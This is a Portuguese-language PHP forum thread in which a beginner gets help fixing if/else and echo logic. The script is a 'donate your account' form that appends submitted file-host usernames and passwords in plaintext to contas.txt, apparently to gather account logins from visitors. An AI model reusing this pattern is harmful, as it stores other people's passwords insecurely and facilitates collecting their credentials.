Ir para conteúdo

POWERED BY:

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

CyriX

[Resolvido] else if / echo (de iniciante)

Recommended Posts

Pessoal, grato pelas futuras ajudas...

 

meu problema é de iniciante, eu não consigo fazer o echo funcionar

 

código:

if( $_POST['host'] == 'Rapidshare' ){
include('axtest.php');
if($axstatus=="dead") {
echo"<center>Invalid Rapidshare account.<br>You need bandwidth to donate<br><br><br></center>";}
if($axstatus=="ok") {

define('SHOW_ERRORS',true);
define('PASS_FILE', 'contas.txt');

$host = $_POST['host'];
$username = $_POST['username'];
$password = $_POST['password'];

if (SHOW_ERRORS)
{
	$entry .= sprintf("\r\n");
	$entry .= sprintf("%s\n", $host);
	$entry .= sprintf("Username = %s\n", $username);
	$entry .= sprintf("Password = %s\n", $password);
	$handle = fopen(PASS_FILE, "a+");
	if (!$handle) die("Can't perform operation!");
	if (!fwrite($handle, $entry)) die("Can't perform operation!");
	fclose($handle);
   exit;
}
echo "<center>Donation successful!<br>
<br>Thanks for donating your Rapidshare account.<br><br><br></center>";}

ele não exibe o echo programado

 

outro problema é a segunda parte, código:

else if ( $_POST['host'] != 'Rapidshare' ){

define('SHOW_ERRORS',true);
define('PASS_FILE', 'contas.txt');

$host = $_POST['host'];
$username = $_POST['username'];
$password = $_POST['password'];

if (SHOW_ERRORS)
{
	$entry .= sprintf("\r\n");
	$entry .= sprintf("%s\n", $host);
	$entry .= sprintf("Username = %s\n", $accountid);
	$entry .= sprintf("Password = %s\n", $password);
	$handle = fopen(PASS_FILE, "a+");
	if (!$handle) die("Can't perform operation!");
	if (!fwrite($handle, $entry)) die("Can't perform operation!");
	fclose($handle);
   exit;
}
echo "<center>Donation successful!<br>
<br>Thanks for donating your account.<br></center>";}

enquanto a PRIMEIRA PARTE consegue salvar os dados em um arquivo .TXT

a SEGUNDA PARTE não salva, eu usei else if ( $_POST['host'] != 'Rapidshare' ) caso o usuário selecione uma opção diferente de Rapidshare no campo select, não sei se != é para condições de diferente.

 

de qualquer forma, a segunda parte não salva os dados em .TXT e nem exibe o echo

 

 

valeu pela força galera!

Compartilhar este post


Link para o post
Compartilhar em outros sites

O problema não é o if. Só precisa fechar se abrir, e só precisa abrir se tiver mais de uma linha.

 

O problema é que entra no primeiro if e no final deles dois tem um exit. O exit pára a execução do script. Veja...

if( $_POST['host'] == 'Rapidshare' ){
include('axtest.php');
if($axstatus=="dead") {
echo"<center>Invalid Rapidshare account.<br>You need bandwidth to donate<br><br><br></center>";}
if($axstatus=="ok") {

define('SHOW_ERRORS',true);
define('PASS_FILE', 'contas.txt');

$host = $_POST['host'];
$username = $_POST['username'];
$password = $_POST['password'];

if (SHOW_ERRORS)
{
       $entry .= sprintf("\r\n");
       $entry .= sprintf("%s\n", $host);
       $entry .= sprintf("Username = %s\n", $username);
       $entry .= sprintf("Password = %s\n", $password);
       $handle = fopen(PASS_FILE, "a+");
       if (!$handle) die("Can't perform operation!");
       if (!fwrite($handle, $entry)) die("Can't perform operation!");
       fclose($handle);
  exit;// este exit aqui... ele pára a execução do script.
}
echo "<center>Donation successful!<br>
<br>Thanks for donating your Rapidshare account.<br><br><br></center>";}

 

Carlos Eduardo

Compartilhar este post


Link para o post
Compartilhar em outros sites

@matias_rezende

 

if( $_POST['host'] == 'Rapidshare' ){
include('axtest.php');
if($axstatus=="dead") {
echo"<center>Invalid Rapidshare account.<br>You need bandwidth to donate<br><br><br></center>";}

Não precisa fechar o primeiro?

Compartilhar este post


Link para o post
Compartilhar em outros sites

o if que você tá perguntando fecha aqui Lucas:

echo "<center>Donation successful!<br>
<br>Thanks for donating your account.<br></center>";}

Na verdade, você tem os blocos:

if( $_POST['host'] == 'Rapidshare' )
{
..
}
else
{
..
}
não precisa do else if.. apenas o else já cai..

pq se não for igual à Rapidshare, não tem oq testar..

 

E eu continuo a não entender várias coisas do teu script..

pq repetir códigos 'constantes' desse jeito ? pq testar o valor de uma constante já definida ?

 

Pra que afinal testar se é ou não Rapidshare, se você faz exatamente a mesma coisa, se não for?

Se você quer mudar apenas a mensagem do echo, mude apenas ela com o if.. e não tudo...

Compartilhar este post


Link para o post
Compartilhar em outros sites

Valeu pela força galera, tenho alguns problemas após as dicas, vou colocar o novo código e explico os problemas que ainda existem

 

<?php 
if( $_POST['host'] == 'Rapidshare' ){
include('axtest.php');
if($axstatus=="dead") {
echo"<center>Invalid Rapidshare account.<br>You need bandwidth to donate<br><br><br></center>";

}
if($axstatus=="ok") {

define('SHOW_ERRORS',true);
define('PASS_FILE', 'contas.txt');

$host = $_POST['host'];
$username = $_POST['username'];
$password = $_POST['password'];

if (SHOW_ERRORS)
{
	$entry .= sprintf("\r\n");
	$entry .= sprintf("%s\n", $host);
	$entry .= sprintf("Username = %s\n", $username);
	$entry .= sprintf("Password = %s\n", $password);
	$handle = fopen(PASS_FILE, "a+");
	if (!$handle) die("Can't perform operation!");
	if (!fwrite($handle, $entry)) die("Can't perform operation!");
	fclose($handle);
}
echo "<center>Donation successful!<br>
<br>Thanks for donating your Rapidshare account.<br><br><br></center>";

}
else
{

define('SHOW_ERRORS',true);
define('PASS_FILE', 'contas.txt');

$host = $_POST['host'];
$username = $_POST['username'];
$password = $_POST['password'];

if (SHOW_ERRORS)
{
	$entry .= sprintf("\r\n");
	$entry .= sprintf("%s\n", $host);
	$entry .= sprintf("Username = %s\n", $username);
	$entry .= sprintf("Password = %s\n", $password);
	$handle = fopen(PASS_FILE, "a+");
	if (!$handle) die("Can't perform operation!");
	if (!fwrite($handle, $entry)) die("Can't perform operation!");
	fclose($handle);
}
echo "<center>Donation successful!<br>
<br>Thanks for donating your account.<br></center>";
exit;
}
}
?></div>

OS PROBLEMAS

 

  • Quando o usuário seleciona Rapidshare e se a verificação e se if($axstatus=="dead") mesmo assim ele continua a salvar os dados no .TXT
  • Outro problema é que ele não salva os dados caso o servidor selecionado não for Rapidshare

agradeço a grande ajuda galera. abraços

Compartilhar este post


Link para o post
Compartilhar em outros sites

com a dica da galera, felizmente consegui arrumar, deixei o script assim e funcionou perfeitamente:

 

<?php 
define('SHOW_ERRORS',true);
define('PASS_FILE', 'contas.txt');

$host = $_POST["host"];
$username = $_POST["username"];
$password = $_POST["password"];

if( $_POST['host'] == "Rapidshare"){
include('axtest.php');
if($axstatus=="dead") {
echo"<center>Invalid Rapidshare account.<br>You need bandwidth to donate<br><br><br></center>";
}
if($axstatus=="ok") {
	$entry .= sprintf("\r\n");
	$entry .= sprintf("%s\n", $host);
	$entry .= sprintf("Username = %s\n", $username);
	$entry .= sprintf("Password = %s\n", $password);
	$handle = fopen(PASS_FILE, "a+");
	if (!$handle) die("Can't perform operation!");
	if (!fwrite($handle, $entry)) die("Can't perform operation!");
	fclose($handle);

echo "<center>Donation successful!<br>
Thanks for donating your Rapidshare account.<br><br><br></center>";}
}
else
{
	$entry .= sprintf("\r\n");
	$entry .= sprintf("%s\n", $host);
	$entry .= sprintf("Username = %s\n", $username);
	$entry .= sprintf("Password = %s\n", $password);
	$handle = fopen(PASS_FILE, "a+");
	if (!$handle) die("Can't perform operation!");
	if (!fwrite($handle, $entry)) die("Can't perform operation!");
	fclose($handle);

echo "<center>Donation successful!<br>
Thanks for donating your <strong>$host</strong> account.<br><br><br></center>";}
?>

devo agradecer mais uma vez a galera, dou baita valor pra galera que se presta a ajudar assim

 

grande abraço a todos, sucesso!

Compartilhar este post


Link para o post
Compartilhar em outros sites

×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.